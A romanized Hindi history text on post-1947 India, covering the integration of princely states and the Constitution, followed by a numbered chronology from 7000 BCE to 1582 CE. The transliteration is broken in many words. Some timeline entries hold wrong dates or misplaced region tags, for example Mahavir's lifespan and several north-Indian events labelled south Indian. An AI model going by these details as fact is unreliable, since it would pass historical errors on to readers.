svadhin bharat ko jin samasyaoan ka samana karana p da, ve saral nahian thian. use sabase pahale sampradayik unmad ko shant karana tha. bharat ne janaboojhakar dharm nirapeksh rajy banana pasand kiya. usane ashvasan diya ki jin musalamanoan ne pakistan ko nirgaman karane ke bajay bharat mean rahana pasand kiya hai unako nagarikata ke poorn adhikar pradan kiye jayeange. halaanki pakistan janaboojhakar apane yahaan se hinduoan ko nikal bahar karane athava jin hinduoan ne vahaan rahane ka phaisala kiya tha, unako ek prakar se dvitiy shreni ka nagarik bana dene ki niti par chal raha tha. l aaurd mauantabeten ko svadhin bharat ka pahala gavarnar janaral banaye rakha gaya aur pandit javahar lal neharoo tatha aantarim sarakar mean unake kaangrasi sahayogiyoan ne tho de se herapher ke sath pahale bharatiy mantrimandal ka nirman kiya. is mantrimandal mean saradar patel tatha maulana abulakalam azad ka to sammilit kar liya gaya tha, parantu netaji ke b de bhaee sharatachandr bos ko chho d diya gaya. 30 janavari 1948 ee. ko nathooram godase namak hindoo ne rashtrapita mahatma gaandhi ki hatya kar di. sara desh shok ke sagar mean doob gaya. nau mahine ke bad, pakistan ke pahale gavarnar janaral muhammad ali jinnahaki bhi mrityu ho gayi. usi varsh l aaurd mauantabeten ne bhi avakash grahan kar liya aur chakravarti rajagopalachari bharat ke pratham aur aantarim gavarnar janaral niyukt hue.

riyasatoan ka vilay

[[chitr:Sardar-Vallabh-Bhai-Patel.jpg|thumb|100px|saradar ballabh bhaee patel]] adhikaansh deshi riyasatoan ne , jinake samane bharat athava pakistan mean vilay ka prastav rakha gaya tha, bharat mean vilay ke paksh mean nirnay liya, parantu, do riyasatoan—kashmir tatha haidarabad ne koee nirnay nahian kiya. pakistan ne balapoorvak kashmir ki riyasat par adhikar karane ka prayas kiya, parantu aktoobar 1947 ee. mean kashmir ke maharaj ne bharat mean vilay ki ghoshana kar di aur bharatiy senaoan ko vayuyanoan se bhejakar shrinagar sahit kashmiri ghati tak jammoo ki raksha kar li gayi. pakistani akramanakariyoan ne riyasat ke uttari bhag par apana qabza banaye rakha aur isake phalasvaroop pakistan se yuddh chhi d gaya. bharat ne yah mamala sanyukt rashtr sangh mean uthaya aur sanyukt rashtr sangh ne jis kshetr par jisaka qabza tha, usi ke adhar par yuddh viram kar diya. vah aj tak is saval ka koee nipatara nahian kar saka hai. haidarabad ke nizam ne apani riyasat ko svatantrata ka darja dilane ka sh dayantr racha, parantu bharat sarakar ki pulis karravaee ke phalasvaroop vah 1948 ee. mean apani riyasat bharat mean vilayan karane ke lie majaboor ho gaye. riyasatoan ke vilay mean tatkalin grihamantri saradar ballabh bhaee patel ki mukhy bhoomika rahi.

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sangh rajyoan ka vilay

[[chitr:Dr.Rajendra-Prasad.jpg|thumb|rajendr prasad|100px]] bharatiy sanvidhan sabha ke dvara 26 navambar 1949 mean sanvidhan pas kiya gaya. bharat ka sanvidhan adhiniyam 26 janavari 1950 ko lagoo kar diya gaya. is sanvidhan mean bharat ko laukataantrik ganarajy ghoshit kiya gaya tha aur sanghatmak shasan ki vyavastha ki gayi thi. daktar rajendr prasad ko pahala rashtrapati chuna gaya aur bahumat parti ke neta ke roop mean pandit javahar lal neharoo ne pradhan mantri ka pad grahan kiya. is pad par ve 27 mee 1964 ee. mean, apani mrityu tak bane rahe. navodit bharatiy ganarajy ke lie unaka dirghakalin pradhanamantritv b da labhadayi siddh hua. usase prashasan tatha ghareloo evan videsh nitiyoan mean nirantarata bani rahi. pandit neharoo ne vaideshik mamaloan mean gut-nirapekshata ki niti apanayi aur chin se rajanayik sambandh sthapit kiye. phraans ne 1951 ee. mean chandranagar shantipoorn riti se bharat ka hastaantarit kar diya. 1956 ee. mean usane any phreanch bastiyaan (paandicheri, karikal, mahe tatha yunnan) bhi bharat ko sauanp dian. purtagal ne phraans ka anusaran karane aur shantipoorn riti se apani purtagali bastiyaan (gova, daman aur div) chho dane se iankar kar diya. phalasvaroop 1961 ee. mean bharat ko balapoorvak in bastiyoan ko lena p da^[7]. is tarah bharat ka ekikaran poora ho gaya.

itihas tithi kram 1947 tak
kram	tithi kram	vivaran

1	7000 ee.poo.	rajasthan (sambhar) mean bone paudhe ke pratham sakshy.
2	6000 ee.poo.	meharagadh (siandh-baloochistan sima), burzahom (kashmir) mean bharat ke prachinatam avas, krishi tatha pashupalan ke avashesh.
3	5000–4000 ee.poo.	bagor (bhilava da) tatha adamagadh (hoshangabad) ke nikat akhetakoan dvara bhe d-bakari palan ke pratham avashesh.
4	4000–3000 ee.poo.	khetiharoan-pashupalakoan ki sthaniy sabhyataean.
5	2500 ee.poo.	siandhu ghati mean poorv-h dappa sabhyata ke nagaroan ka vikas, asthi evan prastar upakaran tatha manakoan ke abhooshan ke avashesh.
6	2500–1750 ee.poo.	rediya-karban tithi-nirdharan ke adhar par h dappa sabhyata ka kal-vistar.
7	2250–2000 ee.poo.	h dappa sabhyata ka poorn-vikasit daur, vighatan tatha sthaniy sabhyataoan ka uday.
8	1500 ee.poo.	bharat mean aryoan ka agaman, rrigved ki rachana, vaidik kal (1500-1000) prarambh, ganga ke maidan mean aryottar tamr sabhyata.
9	1000 ee.poo.	aryoan ka (ganga maidan) vistar, uttar vaidik kal prarambh, 'brahman granthoan' ki rachana, varn vyavastha ka bijaropan, lauh dhatu ka prayog prarambh.
10	950 ee.poo.	mahabharat ka yuddh.
11	800 ee.poo.	maharshi vyas ke dvara mahabharat mahakavy ki rachana, aryoan ka dakshin-poorv (bangal) ki or vistar, ramayan ka pratham vrittant.
12	600–550 ee.poo.	upanishadoan ki rachana, aryoan ka vidarbh tatha godavari tak dakshin-vistar. solah mahajanapadoan ki sthapana, ary sabhyata mean karmakandiy anushthan pratishthit.
13	563–483 ee.poo.	bauddh dharm ke sansthapak gautam buddh ka jivan kal, janm-lumbini, mrityu-kushinagar.
14	599–257 ee.poo.	jain dharm ke punarpratishthapak vardhaman mahavir ka kal (janm-kundagram, vaishali), mrityu-pavapuri, kushinagar.
15	544–492 ee.poo.	gautam buddh ke samakalik bimbisar (haryak vansh) ka rajyakal, magadh rajy ki shreshthata.
16	517–509 ee.poo.	hakhamani vansh (eeran) ke samrat deriyas pratham ke sath pratham videshi akraman, aryoan ki parajay, yoonani nau-senapati skailaiks dvara sindhu nadi par gaveshan abhiyan.
17	492–460 ee.poo.	bimbisar ke putr ajatashatru ka rajyakal.
18	412–344 ee.poo.	shishunag vansh ka shasanakal, avanti ke pradyaut vansh ka magadh samrajy mean vilay.
19	400 ee.poo.	sampoorn dakshin bharat mean aryoan ka prabhutv, sambhavatah shrilanka tak vistar. (dakshin bharat)
20	344 ee.poo.	mahapadmanand dvara magadh mean nandavansh ki sthapana.
21	326 ee.poo.	nand vanshi raja ghananand ki sainy shakti se prabhavit hokar sikandar ke sainikoan ka vapas lautane ka irada, vapasi marg mean bebilon mean sikandar ki mrityu.
22	322 ee.poo.	chandragupt maury dvara (kautily ki madad se) nand shasak ghananand ko parajit kar maury vansh ki sthapana.
23	315 ee.poo.	indika ke lekhak tatha selyukas (yoonani shasak) ke doot megasthaniz ka bharat mean agaman.
24	298–273 ee.poo.	chandragupt maury ke putr bindusar ka rajy kal.
25	273–232 ee.poo.	ashok ka shasanakal, mauryavansh ka svarnayug, ashok dvara kaliang ki vijay (262-61).
26	185 ee.poo.	antim maury shasak brihadrath ki hatya kar maury senapati pushyamitr shuang dvara shuang vansh ki sthapana.
27	190–171 ee.poo.	yavan shasak demetriyas ka rajyakal.
28	165 ee.poo.	kaliang shasak kharavel dvara 'tramiradesh sanghatam' (pandy, chol) rajy par vijay.
29	155–130 ee.poo.	sabase prasiddh yavan shasak 'minandar' (milind) ka rajyakal.
30	145 ee.poo.	chol raja elara ki shrilanka ke shasak asel par vijay tatha lagabhag 50 varshoan tak shasan.
31	128 ee.poo.	yoochi akraman ke bhay se shak qabiloan ka bharat mean panjab se pravesh.
32	71 ee.poo.	shuang vansh ke antim samrat devabhooti ki hatya, vasudev ke dvara kanv vansh ki sthapana.
33	60 ee.poo.	andhr mean simuk dvara satavahan vansh ki sthapana.
34	58 ee.poo.	ujjain ke shasak vikramadity dvara vikram sanvat ka prarambh.
35	50 ee.poo.	dakshin bharat (dakkan) mean satavahan vansh shuroo.
36	22 ee.poo.	rom ke shasak agastas ke darabar mean pandy rajadoot pahuancha, chol, pandyoan ka rom mean vyaparik sambandh.
37	14–13 ee.	shak (hind-parthiyan) shasak goandofॅras ka shasan, eesaee dharm prachar hetu roman sant seant tamas ka bharat mean agaman.
38	15 ee.	kushanoan (yoochi ka tochariyan) ka bharat mean pravesh.
39	64 ee.	uttar-pashchimi bharat mean shak vim kadafaisis ka rajy.
40	78 ee.	kushan vansh ke mahanatam shasak kanishk ka rajyarohan, usake dvara shak sanvat ka prarambh.
41	78–101 ee.	kanishk ka shasanakal, chauthi bauddh sangiti ka (kashmir mean) ayojan.
42	100 ee.	ashvaghosh dvara 'saundaranand' tatha 'buddhacharit' evan 'kumaralat' ke dvara 'kalpamanditika' ki rachana.
43	100–200 ee.	sangam yug, karikal ka shasan (trichanapalli ke nikat kaveri nadi par sianchaee baandh ka nirman). (dakshin bharat)
44	109–132 ee.	mahanatam satavahan shasak gautamiputr satakarni dvara rajy vistar.
45	150 ee.	baghelakhand, varanasi tatha age chalakar mathura tak ke kshetr mean bharashiv nagaoan ki vibhinn shakhaoan ka rajy.
46	200–250 ee.	satavahanoan ka patan, maharashtr mean abhir, uttari kanara tatha maisoor ziloan mean kuntal aur katu, andhr mean ikshvaku tatha vidarbh mean vakatakoan ki satta sthapit.
47	300–888 ee.	kaanchi mean pallavoan ka shasanakal. (dakshin bharat)
48	225 ee.	viandhyashakti dvara vakatak shasan ki sthapana, agale 272 varshoan tak is vansh ka shasan.
49	250 ee.	nasik mean abhiroan dvara traikutakar vansh ki sthapana, agale 250 varshoan tak is vansh ka shan.
50	320–335 ee.	chandragupt pratham ne gupt vansh ko sthapit kiya.
51	325 ee.	krishnaa nadi ke dakshin mean pallav vanshi rajy ki sthapana.
52	335–376 ee.	samudragupt ka shasanakal.
53	330–375 ee.	sampoorn uttar bharat mean samudragupt ka shasan. poorv mean asam, pashchim mean kabul, uttar mean nepal tatha dakshin mean pallavoan tak, keval ujjain svatantr (shak vansh ke adhin).
54	350 ee.	mayoorasharman dvara kadamb vansh ki sthapana jo agale 200 varshoan tak vidyaman raha.
55	375–413 ee.	chandragupt dvitiy vikramadity dvara ujjain, malava tatha gujarat par vijay, rajadhani pataliputr se ayodhya aur tatpashchat kaushambi sthanantarit, chini yatri fahyan ka bharat agaman.
56	415–454 ee.	kumaragupt pratham ka shasanakal, nalanda mean bauddh vihar tatha vishvavidyalay ki sthapana, hunoan ke akraman ka khatara.
57	455–467 ee.	skandagupt ka shasanakal, hoonoan ka bharat par pratham akraman tatha unaki parajay.
58	477–496 ee.	buddhagupt guptavansh ka antim samrat, guptavansh ka vighatan prarambh.
59	490–766 ee.	saurashtr ke ballabhi kshetr mean maitrak (sambhavatah videshi mool) akramakoan ka shasan. (pashchim bharat)
60	500–502 ee.	hoonoan ke pratham shasak toraman dvara bharat mean rajy sthapana tatha madhyavarti bhag (malava mean eran) tak usaka vistar.
61	500–757 ee.	pashchim tatha madhy dakkan mean vatapi ka pratham chaluky vansh. (dakshin bharat)
62	502–528 ee.	toraman ka uttaradhikari mihirakul bharat mean gupt shasak bhanugupt dvara parajit, eran par guptavansh ka punah adhikar, (510).
63	533 ee.	mandasaur ke yashodharman ki mihirakul par vijay.
64	540 ee.	paravarti gupt tatha gupt vansh ki mukhy shakha ka ant.
65	550–861 ee.	madhy rajapootana mean madhy eshiya mean aye hue gurjar khanabadosh daloan ka shasan sthapit. (pashchim bharat)
66	600–1200 ee.	maukhari vansh ke shasak yashovarman ki mrityu (752), uttar, madhy, pashchim tatha dakshin bharat mean anek samantoan ke dvara svatantrata ki ghoshana, anek chhote-b de rajyoan ka uday, bangal mean gau d, khang, varman, pal tatha sen vansh, ujjain mean gurjar-pratihar, kannauj mean pratihar, u disa mean bhaum, bhanj, som tatha poorvi gang vansh, asam mean bhaskar varma, gujarat mean chaluky, dhara mean paramar, narmada-tripuri tatha uttar pradesh mean kalachuri, rajasthan mean chahaman (chauhan), buandelakhand mean chandel, kannauj mean gah daval, kashmir mean karkot, utpal tatha lohar, afaganistan-panjab mean hindushahi vansh.
67	606–647 ee.	harsh (pushyabhuti ya kanyakubj vansh) ka shasanakal. chini bauddh yatri hven tsaang ka bharat agaman (630-44), banabhatt ne 'harshacharit' ki rachana ki.
68	630–970 ee.	poorvi dakkan mean veangi ke poorvi chalukyoan ka shasanakal. (dakshin bharat)
69	636–637 ee.	khalifa umar ke samay mean araboan ka bharat par pahala abhilikhit hamala. (dakshin bharat)
70	643 ee.	chini yatri hvenasaang ki chin vapasi. (dakshin bharat)
71	647 ee.	tibbat se kannauj ate hue hven saang par kisi sthaniy samant ke dvara hamala. harshavardhan ki mrityu. (dakshin bharat)
72	674 ee.	vikramadity pratham, chaluky aur parameshvar varman pratham, pallav shasak bane. (dakshin bharat)
73	675–685 ee.	tisare chin yatri itsiang ka nalanda avas. (dakshin bharat)
74	700 ee.	kannauj mean yashovarman (maukhari vansh) sianhasanaroodh, sanskrit natyakar bhavabhooti tatha prakrit kavi vakpatiraj ko usake rajadarabar mean sanrakshan.
75	700–900 ee.	dakshin bharat mean alavaroan (vaishnav) ka bhakti aandolan, bhakti sangrah 'prabandhamh' ki rachana. (dakshin bharat)
76	712 ee.	muhammad bin qasim ke netritv mean bharat par pratham arab akraman, maitrak rajy ka patan. (pashchim bharat), muhammad bin qasim ka sindh par akraman, devalagadh vijay, nirun ki l daee mean hindoo raja dahir ki mrityu, qasim ki brahmanabad par vijay.
77	730 ee.	kannauj mean maukhari shasak yashovarman sianhasanarudh.
78	753–774 ee.	khalifa mansoor ke kal mean brahmagupt ke 'brahm siddhant' tatha 'khandanakhady' ka alfajari dvara arabi mean anuvad.
79	757–973 ee.	manyakhet mean rashtrakootoan ka shasanakal. (dakshin bharat)
80	740–1036 ee.	uttar bharat mean gurjar-pratiharoan ka adhipaty, araboan ka pratirodh. (uttari bharat)
81	746–974 ee.	chhap ya chhapautakatt, gurjar qabile dvara 746 ke asapas anhilapur (anandapur) ki sthapana, jo 15vian shati tak pashchim bharat ka pramukh nagar raha. (pashchim bharat)
82	786–808 ee.	eerani shasak khalifa haroon-al-rashid ka shasanakal, baramask (ek mantri) dvara bharat ke anek vaidyoan, jyotishiyoan, rasayanashastriyoan, vicharakoan ko bagadad bulakar unase in vishayoan ke anek granthoan ka arabi mean anuvad karavaya.
83	824–924 ee.	vaishnav bhaktikal.
84	831–1310 ee.	chandeloan dvara buandelakhand mean svatantr rajy ki sthapana, anek vishnu mandiroan aur khajurahoan ke mandiroan ka bhi nirman. (pashchim bharat)
85	840–890 ee.	sataluj se narmada nadi tak mihirabhoj ya bhoj ka shasan. (pashchim bharat)
86	950–1200 ee.	iandaur ke pas dhara mean paramaroan ka rajy, jinamean muanj (974-994) tatha bhoj prasiddh raja hue, bhoj jyotish, kavyashastr, vastukala tatha sanskriti ka vidvan tha. (pashchim bharat)
87	973–1189 ee.	kalyani ka dvitiy chaluky vansh. (dakshin bharat)
88	974–1240 ee.	chalukyoan ka anhilapur, saurashtr tatha aboo kshetr mean prabhutv, chaluky shasak moolaraj ka shasan kal (974-995). (pashchim bharat)
89	985–1014 ee.	chol shasak rajaraj ka shasanakal, bhoomi-sarvekshan ka prarambh (1000 ee.). (dakshin bharat)
90	986–87 ee.	khurasani shasak alaptagin ke gulam subuktagin ka kabul-kandhar mean hindushahi shasak jayapal par pratham akraman, jayapal parajit.
91	997–998 ee.	subuktagin ki mrityu, mahamood gajanavi khurasan ki gaddi par baitha.
92	999 ee.	bagadad ke khalifa dvara mahamood gajanavi ko svatutr shasak ke roop mean manyata.
93	1000 ee.	mahamood gajanavi ka bharat par (kabul mean) pratham akraman, sthaniy janata par loot tatha jabaran dharm parivartan.
94	1002 ee.	mahamood gajanavi ka tisara akraman, anandapal se yuddh tatha usaki parajay.
95	1010 ee.	anandapal apamanajanak shartoan par mahamood gajanavi ka samant bana.
96	1011–1012 ee.	mahamood ka thaneshvar par hamala, uttar-pashchim bharat mean hindushahi vansh ke chhote-b de sabhi rajy dhvast.
97	1013 ee.	anandapal ki mrityu, putr trilochanapal uttaradhikari bana.
98	1014 ee.	toshi ki l daee mean trilochanapal parast, jhelam tak ka kshetr mahamood gajanavi ke rajy mean sammilit.
99	1014–1044 ee.	chol raja rajendr ka shasanakal, shrilanka ki vijay (1018), bangal par akraman (1021). (dakshin bharat)
100	1017 ee.	shankarachary ke 'mayavad' ka khandan kar vishishtadvaitavad mat ki sthapana karane vale vaishnav achary ramanuj ka janm.
101	1018–1019 ee.	mahamood gajanavi ka ganga nadi-yamuna doab kshetr par qabza.
102	1025–1026 ee.	gajanavi ke dvara somanath mandir (gujarat) ki loot.
103	1026 ee.	antim hindooshahi shasak bhimapal ki mrityu, kabul-kandhar ke hindushahi vansh ka ant.
104	1027 ee.	jatoan ko kuchalane ke lie mahamood gajanavi ka bharat (gujarat-sindh) par 17vaan v antim akraman.
105	1030 ee.	mahamood gajanavi ki mrityu; masood, gajani ka sultan, 'kitab-ul-hind' ke lekhak alaberooni ka bharat agaman.
106	1043 ee.	sthaniy hindoo rajaoan ka lahaur par punah adhikar kar svadhin rajy sthapit karane ka prayas viphal.
107	1044–52 ee.	rajendr ke uttaradhikari rajadhiraj pratham ka shasanakal. (dakshin bharat)
108	1052–64 ee.	rajendr dvitiy ka shasanakal. (dakshin bharat)
109	1064–70 ee.	vir rajendr chol ka shasanakal. (dakshin bharat)
110	1070–1120 ee.	kulottuang pratham ka shasanakal, andhr ka chol rajy mean viley (1076). (dakshin bharat)
111	1120–1267 ee.	paravarti chol shasakoan ka kal. (dakshin bharat)
112	1131 ee.	karnatak mean liangayat sampraday ke sansthapak sant basaveshvar ya basav ka janm. (dakshin bharat)
113	1137 ee.	vishishtadvaitavad mat ke vicharak sant ramanujachary ka dehant.
114	1162 ee.	dvaitavadi vaishnav sant nimbark svami ka janm.
115	1163 ee.	muijuddin mohammad gauri gajani ka shasan bana.
116	1167 ee.	sant basaseshvar ka nidhan.
117	1191 ee.	taraeen ke pratham yuddh mean rajapoot shasak prithviraj tritiy ke hathoan muhammad gori parajit.
118	1192 ee.	taraeen ka doosara yuddh, mohammad gauri ke hathoan prithviraj tritiy ki har, gauri ka gulam kutubuddin aibak bharat ka soobedar niyukt, merath evan kaul (aligadh) par adhikar.
119	1192–1193 ee.	dilli par kutubuddin aibak ka adhipaty.
120	1199 ee.	dvaitavadi sampraday ke achary mahadev madhvachary ka janm.
121	1200 ee.	mohammad gauri ki mrityu.
122	1206 ee.	kutubuddin aibak dvara 'dilli saltanat' ki sthapana; dilli saltanat par shasan karane vale pratham vansh- 'ilbari vansh' ki sthapana; qutubaminar ka nirman arambh.
123	1210 ee.	aibak ki mrityu, aramashah uttaradhikari bana.
124	1211–1236 ee.	iltutamish ka shasanakal, ranathambhaur vijay (1226).
125	1221 ee.	bharat par changez khaan ka hamala.
126	1228 ee.	bagadad ke khalifa se iltutamish ko 'khillat' arthath 'islami shasak ke roop mean manyata'.
127	1229 ee.	pratham yooropiy yatri mante kairbano (itali) ka bharat agaman.
128	1236 ee.	iltutamish ke uttaradhikari rukunuddin firozashah ki mrityu, rajiya sultan gaddi par baithi.
129	1239 ee.	ikhtiyaruddin altooniya ka vidroh.
130	1240 ee.	rajiya sultan ki hatya.
131	1241 ee.	bharat par mangoloan ka pratham akraman.
132	1246 ee.	sultan nasiruddin gaddi par asin, 1265 mean usaki mrityu.
133	1253 ee.	amir khusaro ka janm.
134	1266 ee.	gayasuddin balaban gaddi par baitha.
135	1279 ee.	maharashtr mean sant sammelan ka ayojan.
136	1279 ee.	bangal mean tugaril khaan ka vidroh.
137	1286 ee.	balaban ki mrityu.
138	1288–1293 ee.	prasiddh venish yatri marko polo ki bharat yatra.
139	1290 ee.	jalaluddin khilaji dilli ka sultan, khilaji vansh ki sthapana.
140	1294 ee.	alauddin khilaji ka devagiri abhiyan.
141	1295–1316 ee.	alauddin khilaji dilli ka sultan, rajy-vistar abhiyan prarambh; gujarat (1299), ranathambhaur (1301), chittau d (1303), malava (1305), malik kafoor ke netritv mean dakkan abhiyan, 1320-1325-alauddin ki mrityu
142	1320–1325 ee.	gayasuddin tugalaq (gazi malik) dilli ka sultan bana, tugalaq vansh ki sthapana, kakatiy tatha pandyoan ke rajy ka dilli saltanat mean vilay (1321-1323).
143	1325 ee.	gayasuddin ki mrityu, muhammad bin tugalaq gaddi par asin, amir khusaro ki mrityu, phaiansiskan padari adorik af porden aaun ki bharat yatra.
144	1326–1327 ee.	muhammad tugalaq dvara dilli se daulatabad rajadhani ka sthanantaran.
145	1330 ee.	muhammad tugalaq dvara prayog ke taur par sone ke sthan par taanbe ke sikke jari kie ge.
146	1333 ee.	afriki yatri ibnabatoota ki bharat yatra.
147	1336 ee.	harihar evan bukka dvara vijayanagar rajy ki sthapana.
148	1342	ibnabatoota ka chin ko prasthan.
149	1347 ee.	alauddin bahaman shah pratham ke dvara bahamani rajy ki sthapana.
150	1350 ee.	vidyapati ka janm, sant namadev ka nidhan.
151	1351 ee.	muhammad tugalaq ki mrityu, firoz shah tugalak uttaradhikari bana.
152	1351–1388 ee.	sultan firoz shah tugalak ka rajyakal, bangal abhiyan (1353-54, 1359, 1369), kaang da vijay (1360-61), thatta vijay (1371-72), firoj ki mrityu.
153	1388–1414 ee.	paravarti tugalaq shasakoan ka shasanakal.
154	1398 ee.	taimoor lang ka bharat par akraman, dilli par adhikar, bharat mean arajakata.
155	1399 ee.	dilli saltanat ka vighatan prarambh, soobedaroan dvara svatantr rajyoan ki sthapana, dilli-doab mean iqabal khaan, gujarat mean jafar khaan, siandh-multan mean khizr khaan, mahoba-kalapi mean mahamood khaan, kannauj athava bihar mean khvaja jahan, dhara (indaur) mean dilavar khaan, saman mean galib khaan, bayana mean shakhs khaan tatha gvaliyar mean bhimadev dvara svatantr rajy sthapit.
156	1411–42 ee.	ahamadashah dvara ahamadabad ki sthapana evan svatantrata ki ghoshana.
157	1412 ee.	antim tugalaq shasak mahamood ki mrityu, tugalaq vansh ka patan.
158	1414 ee.	dilli par khizr khaan ka adhikar.
159	1420–1421 ee.	itali ke yatri nikolo koanti ki bharat yatra.
160	1429 ee.	bahamani rajy ki rajadhani gulabarga se bidar sthanantarit.
161	1430–69 ee.	meva d mean rana kumbha ka rajyakal.
162	1442 ee.	abdurrajjak ki vijayanagar yatra.
163	1447 ee.	bahalol lodi ka dilli par adhikar, lodi vansh ki sthapana.
164	1450 ee.	gorakhanath ki sakhiyoan ki rachana.
165	1455 ee.	prasiddh sant kabir ka janm.
166	1469 ee.	sikkh dharm ke sansthapak gurunanak dev ka nanakana (panjab) mean janm.
167	1470 ee.	roosi yatri nikitin ki bharat yatra.
168	1472 ee.	sherashah soori ka janm.
169	1479 ee.	ballabhachary ka janm.
170	1483 ee.	jahirooddin babar ka pharagana mean janm.
171	1485 ee.	chaitany mahaprabhu ka janm.
172	1486 ee.	purtagali navik saradar bartholomyo diaj denovej ne 'kep aauf gud hop' (shubh yatra aantarip) ki khoj ki, isi marg se bad mean vaskodigama ne bharat ki yatra ki.
173	1489 ee.	sikandar lodi gaddi par asin, bijapur svadhin.
174	1490 ee.	dilli saltanat se ahamadanagar svadhin.
175	1494 ee.	bangal mean husainashah gaddi par asin, babar pharagana ka amir bana.
176	1498 ee.	purtagali navik vaskodigama bharat mean, kalikat pahuancha.
177	1502 ee.	purtagal ke raja j aaun dvitiy ko pop alekjeandar shashtam ka 'bul' pradan kiya gaya, jisase purtagaliyoan ko bharat ke sath vyapar karane ka ekadhikar tatha bharat mean rajy sthapit karane ka aupacharik adhikar mila.
178	1503 ee.	pharagana babar ke adhikar se mukt.
179	1504 ee.	itali ke ludoviko di barthema ki pashchim tatha dakshin bharat ki yatra, kabul par adhikar kar babar ka multan ki or prasthan.
180	1507 ee.	gujarat ke shasak mahamood beg da ka div (gova) mean purtagaliyoan ke viruddh abhiyan.
181	1508 ee.	dvitiy mugal samrat humayooan ka janm.
182	1509 ee.	vijayanagar mean krishnadevaray sianhasanaroodh, purtagali gavarnar fraansisko-d-almeda bharat aya.
183	1509–1527 ee.	meva d mean rana saanga ka rajyakal.
184	1510 ee.	gova par purtagaliyoan ka adhikar, alabukark gavarnar bana.
185	1512–1518 ee.	golakunda bahamani rajy se mukt.
186	1517 ee.	sikandar lodi ki mrityu ke pashchath ibrahim lodi gaddi par baitha.
187	1519 ee.	babar ka bharat agaman.
188	1520 ee.	babar ka bhira, siyalakot par akraman.
189	1522 ee.	babar ka kandhar par adhikar.
190	1523 ee.	lahaur aur sarahind par babar ka akraman, lahaur par adhikar (1524).
191	1526 ee.	(21 aprail) babar tatha ibrahim lodi ke madhy panipat ka pratham yuddh, ibrahim lodi ki parajay tatha mrityu, dilli par qabze ke sath hi mugal samrajy ki sthapana.
192	1527 ee.	rana sangram sianh tatha babar ke madhy khaandava ka yuddh (16 march), sangram sianh parajit.
193	1528 ee.	rana sangram sianh ki mrityu, babar ne sahayog ke badale sherashah ko sasaram (bihar) ki paitrik jagir vapas ki.
194	1530 ee.	babar ki mrityu (29 mee), vijayanagar ke raja krishnadev ray ki mrityu (26 disambar).
195	1531 ee.	gujarat ke bahadurashah ka malava tatha ujjain par adhikar.
196	1532 ee.	rayasen, chanderi evan mandasaur par bahadurashah ka adhikar tatha chittau d par pahala hamala.
197	1533 ee.	bahadurashah ne chittau d ka ghera uthaya, ranathambhaur tatha ajamer par adhikar, vaishnav sant chaitany ka nidhan.
198	1534 ee.	humayooan ka malava ko prasthan, sherashah ne soorajagadh ki l daee mean bangal ke shasak mahamood khaan ko parast kiya.
199	1535 ee.	purtagaliyoan ki sahayata se bahadurashah ka chittau d par adhikar, humayooan se bahadurashah parajit, humayooan ki gujarat tatha malava par vijay.
200	1536 ee.	humayooan ne askari ko gujarat ka shasak niyukt kiya, gujarat mean mugaloan ke viruddh vidroh.
201	1537 ee.	gujarat ke shasak bahadurashah ki mrityu.
202	1538 ee.	sherashah ke hathoan bangal ka shasak mahamoodashah parast, humayooan ka bangal par akraman, sikkh guru nanak dev ka nidhan.
203	1539 ee.	chausa ke yuddh mean humayooan sherashah se parajit.
204	1540 ee.	sherashah dilli ki gaddi par baitha.
205	1542 ee.	marava d ke raja maladev ke amantran par humayooan jodhapur pahuancha, amarakot mean (15 aktoobar) akabar ka janm.
206	1544 ee.	humayooan faras ke tahamasp shah ki sharan mean pahuancha.
207	1545 ee.	shah tahamasp ki madad se kandhar-kabul par punah humayooan ka adhikar, sherashah ki mrityu, islamashah gaddi par baitha.
208	1553 ee.	soor vanshi shasak islamashah ki mrityu.
209	1555 ee.	lahaur par humayooan ka adhikar.
210	1556 ee.	humayooan ki mrityu (24 janavari), bairam khaan ke sanrakshan mean akabar mugal samrat bana, panipat ke doosare yuddh (5 navambar) mean akabar ke dvara adilashah ka divan hemoo parajit, purtagal se pahala pres bharat pahuancha, jise jesuit padari gova lekar ae the.
211	1557 ee.	khizr khaan ke sath l daee mean adilashah mara gaya, sikandar soor ko harakar manakot ke qile par akabar ka adhikar.
212	1560 ee.	akabar ke dvara bairam khaan ka nishkasan.
213	1561 ee.	akabar ki malava par vijay.
214	1562 ee.	amer ki rajakumari (raja bharamal ki putri) se akabar ka vivah, yuddh-banndiyoan ko das banane ki pratha ka unmoolan.
215	1563 ee.	akabar dvara tirthayatra-kar ki samapti.
216	1564 ee.	akabar dvara jaziya kar ki ugahi band, rani durgavati ko parast kar goandavana mugal rajy mean sammilit, rani dvara atmahatya.
217	1564–1567 ee.	ujabekoan ka vidroh.
218	1565 ee.	vijayanagar ke shasak ramaray aur bahamani sultanoan ke bich talikot ka yuddh, vijayanagar parajit.
219	1567 ee.	radhavallabh sampraday ke pravartak shri harivansh ka devaband (saharanapur) mean janm.
220	1568 ee.	akabar ki chittau d par vijay.
221	1569	ranathambhaur aur kalianjar par akabar ka adhikar, yuvaraj salim (jahaangir) ka janm.
222	1571 ee.	akabar dvara fatehapur sikari ka nirman tatha rajadhani banane ka nirnay.
223	1572 ee.	rana udayasianh ki mrityu, jalaur ke raja aur meva d senapatiyoan ke dvara rana pratap ko gaddi par baithaya gaya.
224	1573 ee.	kabir ka nidhan, gujarat par akabar ka adhipaty.
225	1574–76 ee.	akabar ki bihar-bangal par vijay.
226	1575 ee.	thukaroee (u disa) ka yuddh, akabar dvara daood khaan parajit fatehapur sikari mean ibadatakhana ki sthapana.
227	1576 ee.	haldighati ka yuddh, akabar dvara rana pratap parajit, akabar ka bangal par adhikar, daood khaan ki mrityu.
228	1578 ee.	bharatiy bhasha ki pahali pustak "dutrina krista' (tamil bhasha mean) mudrit v prakashit, is pustak ke lie taip juaboan guanjalbej nam ke speni luhar ne kkilon (keral) mean dhale the. (dakshin bharat)
229	1579–1580 ee.	akabar ne 'mahajaranama' (inphailibiliti dikri) jari kiya, bangal-bihar mean vidroh, akabar ke darabar mean gova se pratham jesuit mishan aya (1580).
230	1580–1611 ee.	golakunda mean sultan kuli kutubashah dvitiy ke ashray mean 'rekhta' (hindustani ke adi roop) ke kaviyoan ko protsahan.
231	1611–1656	adilashah bijapur ki gaddi par asin.
232	1582 ee.	akabar ke dvara din-e-ilahi ki ghoshana.
